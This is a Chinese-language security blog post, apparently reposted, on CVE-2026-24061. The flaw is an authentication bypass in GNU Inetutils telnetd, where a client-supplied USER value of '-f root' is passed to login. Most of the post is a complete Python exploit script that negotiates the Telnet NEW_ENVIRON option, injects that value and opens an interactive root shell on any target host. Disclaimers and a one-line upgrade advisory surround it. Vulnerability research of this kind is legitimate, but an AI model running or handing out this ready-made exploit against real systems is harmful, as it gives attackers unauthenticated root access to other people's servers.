文章总结: 该文档详细分析了CVE-2026-24061漏洞,即GNUInetutilstelnetd存在的远程身份认证绕过漏洞。漏洞源于telnetd在调用/usr/bin/login时未对客户端传入的USER环境变量进行有效过滤,攻击者可构造USER=-froot的环境变量,利用login的-f参数实现免认证并以root身份登录系统。影响版本为1.9.3至2.7。文档提供了完整的PythonPOC代码,并建议用户升级至安全版本。 综合评分: 85 文章分类: 漏洞分析,渗透测试,漏洞POC,网络安全,应用安全
CVE-2026-24061|Telnetd存在远程认证绕过漏洞(POC)
alicy alicy
信安百科
2026年2月18日 18:00 河北
0x00 前言
Telnet是一种早期互联网远程登录协议,基于TCP/IP协议栈,默认使用23端口,用于在本地设备通过网络字符界面远程控制服务器、路由器、交换机等设备。它采用客户端/服务器架构,本地输入的命令会明文发送到远端执行,再将结果回显到本地终端。
0x01 漏洞描述
漏洞源于telnetd在调用/usr/bin/login进行用户登录时,未对客户端传入的USER环境变量进行有效校验与过滤,直接将其作为参数传递给login程序。当攻击者通过telnet客户端使用-a或–login参数,并构造USER=-f root的环境变量时,可触发login的-f免认证机制,从而在无需任何合法凭据的情况下直接以root身份登录系统。
0x02 CVE编号
CVE-2026-24061
0x03 影响版本
1.9.3 <= GNU InetUtils <= 2.7
0x04 漏洞详情
POC:
https://github.com/SafeBreach-Labs/CVE-2026-24061
import socketimport sysimport threadingimport timeimport argparseimport re
# --- Telnet Protocol Constants (RFC 854) ---# These constants represent the specific byte values used in Telnet's # "Interpret As Command" (IAC) sequences.IAC = 255 # Interpret As Command: Signals the start of a control sequenceDONT = 254 # Negotiation: Refuse to perform, or request that the other party stopDO = 253 # Negotiation: Request that the other party perform, or confirm you expect itWONT = 252 # Negotiation: Refusal to performWILL = 251 # Negotiation: Agreement to performSB = 250 # Subnegotiation Begin: Start of a complex multi-byte option negotiationSE = 240 # Subnegotiation End: End of the subnegotiation block
# --- Telnet Option Codes (RFC 1572) ---# Specifically for handling environment variable passing.NEW_ENVIRON = 39 IS = 0VAR = 0VALUE = 1
# --- Global State for Output Filtering ---# Use a flag to track when we are waiting for the echoed command to finish.waiting_for_newline = Falsestate_lock = threading.Lock()
def parse_arguments(): """ Handles command-line argument parsing.
Returns: argparse.Namespace: Object containing 'host' and 'port'. """ parser = argparse.ArgumentParser( description='Telnet exploit script for the NEW-ENVIRON vulnerability.' ) parser.add_argument('host', help='Target IP or hostname') parser.add_argument('-p', '--port', type=int, default=23, help='Target port (default 23)')
return parser.parse_args()
def handle_negotiation(sock, cmd, opt): """ Handles standard 3-byte Telnet negotiation sequences.
Args: sock: The active socket object. cmd: The negotiation command (DO, WILL, etc). opt: The specific Telnet option (e.g., NEW_ENVIRON). """ if cmd == DO and opt == NEW_ENVIRON: # If server says "DO NEW_ENVIRON", we reply "WILL NEW_ENVIRON" sock.sendall(bytes([IAC, WILL, NEW_ENVIRON])) elif cmd == DO: # Refuse other options to keep the connection simple sock.sendall(bytes([IAC, WONT, opt])) elif cmd == WILL: # Acknowledge that the server will perform an option sock.sendall(bytes([IAC, DO, opt]))
def handle_subnegotiation(sock, sb_data, user_payload): """ Handles Telnet subnegotiation (SB) sequences for environment variables.
This is the core of the exploit: when the server requests environment information, we provide a malformed USER variable. """ if len(sb_data) > 0 and sb_data[0] == NEW_ENVIRON: # Sequence: IAC SB NEW_ENVIRON IS VAR "USER" VALUE [payload] IAC SE env_msg = ( bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) + b'USER' + bytes([VALUE]) + user_payload.encode('ascii') + bytes([IAC, SE]) ) sock.sendall(env_msg)
def process_telnet_stream(data, sock, user_payload): """ Separates Telnet control sequences from displayable text. Also filters ANSI escape sequences and suppresses command echos.
Returns: bytes: Filtered data intended for the user's terminal. """ global waiting_for_newline clean_output = b'' i = 0 while i < len(data): if data[i] == IAC and i + 1 < len(data): cmd = data[i + 1]
# 3-byte command (IAC + CMD + OPT) if cmd in [DO, DONT, WILL, WONT] and i + 2 < len(data): handle_negotiation(sock, cmd, data[i + 2]) i += 3 # Variable-length Subnegotiation block elif cmd == SB: se_idx = i + 2 while se_idx < len(data) - 1: if data[se_idx] == IAC and data[se_idx + 1] == SE: break se_idx += 1
if se_idx < len(data) - 1: handle_subnegotiation(sock, data[i + 2:se_idx], user_payload) i = se_idx + 2 else: i += 1 else: i += 2 else: clean_output += bytes([data[i]]) i += 1
# 1. Filter out ANSI escape sequences (e.g., ←[?2004h, ←[3244ms) ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]') filtered_data = ansi_escape.sub(b'', clean_output)
# 2. Suppress the echoed command # We ignore incoming data until we see a newline (\n or \r) after a command is sent. with state_lock: if waiting_for_newline: newline_pos = -1 for idx, byte_val in enumerate(filtered_data): if byte_val in [10, 13]: # LF or CR newline_pos = idx break
if newline_pos != -1: # Found the newline; discard everything before it and resume output filtered_data = filtered_data[newline_pos + 1:] waiting_for_newline = False else: # Newline not found yet; skip this entire block of data return b''
return filtered_data
def socket_reader_thread(sock, user_payload): """Background listener for server traffic.""" try: while True: raw_data = sock.recv(4096) if not raw_data: break display_data = process_telnet_stream(raw_data, sock, user_payload) if display_data: sys.stdout.buffer.write(display_data) sys.stdout.buffer.flush() except (ConnectionResetError, BrokenPipeError): pass finally: print("\n[*] Connection closed.")
def main(): args = parse_arguments() user_payload = "-f root" global waiting_for_newline
try: client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_sock.settimeout(5) client_sock.connect((args.host, args.port)) client_sock.settimeout(None) print(f"[*] Connected to {args.host}:{args.port}") except Exception as e: print(f"[!] Connection failed: {e}") sys.exit(1)
threading.Thread( target=socket_reader_thread, args=(client_sock, user_payload), daemon=True ).start()
print("[*] Interactive session started. Use Ctrl+C to quit.\n") try: while True: char = sys.stdin.buffer.read(1) if not char: break
if char[0] in [10, 13]: with state_lock: waiting_for_newline = True
client_sock.sendall(char) except KeyboardInterrupt: print("\n[*] Session ended.") finally: client_sock.close()
if __name__ == "__main__": main()
0x05 参考链接
https://www.openwall.com/lists/oss-security/2026/01/20/2
推荐阅读:
CVE-2026-21962|Oracle WebLogic Server身份认证绕过漏洞(POC)
CVE-2025-61686|React Router未授权目录遍历漏洞(POC)
CVE-2025-54068|Livewire组件远程代码执行漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信安百科 alicy alicy《CVE-2026-24061|Telnetd存在远程认证绕过漏洞(POC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论